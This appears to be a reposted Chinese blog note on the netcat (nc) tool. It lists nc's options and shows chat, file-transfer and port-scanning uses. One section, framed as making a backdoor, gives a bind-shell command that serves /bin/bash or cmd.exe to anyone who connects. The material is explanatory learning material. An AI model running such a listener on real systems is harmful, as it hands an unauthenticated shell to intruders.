netcat、nc工具随记
netcat又称nc工具,其最主要的作用就是建立连接并返回两个数据流,剩下的就看各位的想象力了,想象力是很重要的,这也是这个工具的强大之处的所在,所以重要的东西才要说三遍,想象力!
具体参数如下:
-d 无命令行界面,使用后台模式-e prog 程序重定向,一旦连接,就执行 [危险!!],(可以理解为向外发送一个东西,对方连上自动执行)-g gateway 源路由跳跃点,不超过8-G num 源路由指示器:4,8,12.。。。。。-h 获取帮助信息-i<延迟秒数> 延时设置,端口扫描时使用-l 监听入站信息-L 监听知道NetCat被结束(可断开重连)- n 以数字形式表示的IP地址,不要使用DNS反向查询IP地址的域名- o<输出文件> 可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。
- p post 打开本地端口- r 随机本地和远程的端口- s addr 本地源地址- t 以TELNET的形式应答入站请求- u 用UDP建立连接- v 显示详细信息[使用-vv获取更信息的信息]- w<超时秒数> 连接超时设置- z I/O模式[扫描时使用],连接成功后立即关闭连接, 不进行数据交换
功能:
1.可以用来聊天。
nc -l -p 6666 监听6666端口,并显示详细信息(-l:监听入站信息)
nc 172.16.150.152 6666 连接172.16.1.150.152的6666端口
2.做后门
nc 的-e参数程序重定向,一 旦连接,就执行 [危险!!],(可以理解为向外发送一个东西,对方连上自动执行)
nc -vlp 6666 -e /bin/bash #监听6666端口,然后把/bin/bash文件发送出去,只要有人连接此端口,对方就执行/bin/bash文件,此文件为linux的shell,windows对应的是nc -e C:\Windows\System32\cmd.exe
直接监听ip 端口就可以反弹得到一个shell
关于nc的一些理解:
当然还可以拿来传输文件、扫描端口nc如果连不上那么就是没有开,反之开放。
转载于:https://www.cnblogs.com/nul1/p/9085005.html
netcat、nc工具随记相关推荐
- NC 工具的使用教程
NC工具的使用说明... nc使用说明 参数介绍: nc.exe -h即可看到各参数的使用方法. 基本格式:nc [-options] hostname port[s] [ports] .. ...
- Linux系统中nc工具那些不为人知的用法
Linux nc命令用法 参考地址:https://www.cnblogs.com/jjzd/p/6306273.html -g<网关>:设置路由器跃程通信网关,最多设置8个; -G< ...
- Linux 中的 netcat 网络工具简介
Linux 中的 netcat 网络工具简介 Apr 3, 2020 | Linux | linux netcat netcat 是 Linux 系统中的网络工具,其通过 TCP 和 UDP 协议 ...
- NC工具—文件传输shell获取功能
NC工具-文件传输&shell获取功能 前言:此文主要对NC(NETCAT)工具的文件传输和SHELL获取功能进行学习记录,不对工具简介和基本功能进行赘述,可参考我的另一篇文章Web安全工具- ...
- linux端口扫描nc,使用 netcat [nc] 命令对 Linux 和 Unix 进行端口扫描
我如何在自己的服务器上找出哪些端口是开放的?如何使用 nc 命令进行端口扫描来替换 Linux 或类 Unix 中的 nmap 命令? nmap ("Network Mapper" ...
- linux 之 nc 工具安装使用教程
nc工具简介: 全名 Ncat 7.50 ( https://nmap.org/ncat ) 在网络工具中有"瑞士军刀"美誉,其有Windows和Linux的版本.因为它短小精悍, ...
- netcat使用方法_记一次NC(NETCAT)传输文件实战
二.传输文件 咱们先设立一个场景,如果你在电子取证的时候发现有文件需要传输到你的物理机上,但是又不能让自己的取证机有一些系统内存大小上发生一点变化,这时候可以使用 NC的文件传输功能: 1.物理机取证 ...
- Nmap/Netcat/Hping3工具对比
在网络安全领域,Nmap.Netcat.Hping3都是安全工程师必备的工具.Nmap主要作为端口扫描器,侦查目标机的端口及服务状态:而Netcat则整合了网络中各种常用功能(如后门.文件传输.端口扫 ...
- netcat(NC)学习笔记-nc命令基础解释以及基础使用--包含使用nc获取shell
NC学习笔记 搭配这个视频链接使用更佳 https://space.bilibili.com/439906928/channel/seriesdetail?sid=231485 基础概念 nc是什么? ...
最新文章
- dfmea文件_PFMEA执行之步骤七:结果文件化 vs 高层管理者的承诺
- MySQL 中的运算符
- python爬虫个人小结
- 查看MySQL的版本
- 在 Visual Studio Code 里编辑 Excel 和 csv 文件两个比较方便的扩展应用
- 今天看到几款真不错的软件
- 运行Android Studio自带模拟器报:Guest isn't online after 7 second...
- C语言内存地址对齐详解
- SNMP 简单网络管理协议
- win11系统安装vmware虚拟机win10 汇总
- java 1.5.0 gcj_java gcj调试
- html 苹果6尺寸,iPhone6界面设计尺寸规范大全【含原型设计规范】
- 飞桨OCR打标、训练、预测、部署全流程
- 迅软信息签约安龙基因医药技术构建医药行业防护体
- 武汉光庭总经理苏晓聪:智能网联控制器实践与创新
- uniapp 聊天记录插入的两种方式
- practise-sumer
- Java代码转换成groovy代码
- 79个!工信部2020工业互联网试点示范项目名单(附14个热点项目揭秘)
- 在三角形中rt是什么意思_Rt△ABC是什么意思
热门文章
- php导出csv文件,可导出前导0实例
- 服务器主机安装esxi虚拟机,服务器主机安装esxi虚拟机
- int** 赋值_关于Java语言复合赋值运算符的两个问题,快来瞧瞧
- Java基础入门笔记-对象与引用
- MySQL入门之PHP的MySQL数据库编程
- 节约内存编程方式操作系统(全概念)
- 苹果笔记本电脑亮度无法调节_苹果更新笔记本加量还降价,教育优惠全面开启!...
- php下拉列表 二级 联动,PHP+Ajax实现二级联动下拉菜单!
- java二嗨租车项目_JAVA第二季项目实战———答答租车系统代码
- php 日期加减处理函数,php日期加减处理函数示例